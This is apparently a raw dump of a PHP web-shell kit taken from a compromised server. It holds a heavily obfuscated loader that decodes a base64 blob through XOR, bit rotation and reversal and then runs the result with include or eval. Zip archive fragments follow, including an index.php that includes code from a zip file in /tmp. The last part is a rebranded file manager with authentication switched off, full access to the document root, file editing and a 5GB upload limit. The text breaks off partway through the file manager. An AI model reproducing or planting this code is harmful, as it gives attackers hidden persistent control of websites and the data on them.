'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');
$jivdSVx = '50a6004127f6f8e95b927888630c9442';
$mOaxjlb = 'c19b4d5caafc92ee2e31ebd76dde5f1a';
$TgDOzpaT = 3;
function SuiROhBDIg($arr) {
return base64_decode(implode('', $arr));
}
function PAjaCPLpy($data, $hexkey) {
$k = hex2bin($hexkey);
$out = '';
$klen = strlen($k);
$dlen = strlen($data);
for ($i=0; $i<$dlen; $i++) {
$out .= chr(ord($data[$i]) ^ ord($k[$i % $klen]));
}
return $out;
}
function QPcBFxFrU($data, $n, $dir = 'r') {
$out = '';
$dlen = strlen($data);
for ($i=0; $i<$dlen; $i++) {
$b = ord($data[$i]) & 0xFF;
if ($dir === 'r') {
$b = (($b >> $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF;
} else {
$b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF;
}
$out .= chr($b);
}
return $out;
}
function ODCahlbgkR($fname, $payload) {
$tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php';
if (@file_put_contents($tmp, $payload) !== false) {
@chmod($tmp, 0640);
if (@rename($tmp, $fname)) {
@include_once($fname);
return true;
}
}
@file_put_contents($fname, $payload);
@include_once($fname);
return true;
}
try {
$enc = SuiROhBDIg($SMpiPHfV);
$s = '';
for ($i=0;$i<strlen($enc);$i++) { $s .= chr((~ord($enc[$i])) & 0xFF); }
$s = PAjaCPLpy($s, $mOaxjlb);
$s = QPcBFxFrU($s, $TgDOzpaT, 'r');
$s = strrev($s);
$s = PAjaCPLpy($s, $jivdSVx);
$tmp = sys_get_temp_dir() . '/' . uniqid('p', true) . '.php';
if (@file_put_contents($tmp, $s) !== false) {
@include_once($tmp);
@unlink($tmp);
exit;
}
@eval($s);
exit;
} catch (Exception $e) { exit; }
?>PK �Um\�>wg g index.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "gos.php"; include("zip:///tmp/phptpd9aH#$h");?>PK �Um\�dz�1� 1� q1gfm.phpnu �[��� <?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';
define('VERSION', '3.9');
define('APP_TITLE', 'spathe');
$dauth = false;
$auth_users = array(
'admin' => '4b605e78436204f87ad0daf2e1bef329',
'user' => '4b605e78436204f87ad0daf2e1bef329'
);
$readonly_users = array(
'user'
);
$global_readonly = false;
$directories_users = array();
$use_highlightjs = true;
$highlightjs_style = 'vs';
$edit_files = true;
$default_timezone = 'Etc/UTC';
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];
$iconv_input_encoding = 'UTF-8';
$datetime_format = 'm/d/Y g:i A';
$path_display_mode = 'full';
$allowed_file_extensions = '';
$allowed_upload_extensions = '';
$favicon_path = '';
$exclude_items = array();
$online_viewer = 'google';
$sticky_navbar = true;
$max_upload_size_bytes = 5000000000;
$upload_chunk_size_bytes = 2000000;
$ip_ruleset = 'OFF';
$ip_silent = true;
$ip_whitelist = array(
'127.0.0.1',
'::1'
);
$ip_blacklist = array(
'0.0.0.0',
'::'
);
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
@include($config_file);
}
$external = array(
'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);
if ( !defined( 'DN_CESSION_ID')) {
define('DN_CESSION_ID', 'filemanager');
}
$cfg = new FM_Config();
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';
define('FM_THEME', $theme);
$lang_list = array(
'en' => 'English'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
if (defined('FM_EMBED')) {
$dauth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('nocache');
session_name(DN_CESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler('session_error_handling_function');
session_start();
restore_error_handler();
}
if (empty($_SESSION['token'])) {
if (function_exists('random_bytes')) {
$_SESSION['token'] = bin2hex(random_bytes(32));
} else {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
}
if (empty($auth_users)) {
$dauth = false;
}
$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');
if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}
$root_url = fm_clean_path($root_url);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
// logout
if (isset($_GET['logout'])) {
unset($_SESSION[DN_CESSION_ID]['logged']);
unset( $_SESSION['token']);
fm_redirect(FM_SELF_URL);
}
if ($ip_ruleset != 'OFF') {
function getClientIP() {
if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
}else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER['REMOTE_ADDR'];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER['HTTP_CLIENT_IP'];
}
return '';
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true and $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
if ($dauth) {
if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
$_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg(lng('You are logged in'));
fm_redirect(FM_SELF_URL);
} else {
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
}
} else {
// Form
unset($_SESSION[DN_CESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="mb-3">
<div class="brand">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
<g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
<path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
<path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
</svg>
</div>
<div class="text-center">
<h1 class="card-title"><?php echo APP_TITLE; ?></h1>
</div>
</div>
<hr />
<div class="mb-3">
<label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="mb-3">
<label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="mb-3">
<?php fm_show_message(); ?>
</div>
<input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
<div class="mb-3">
<button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
<div class="footer text-center">
—— ©
<a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> ——
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
exit;
}
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
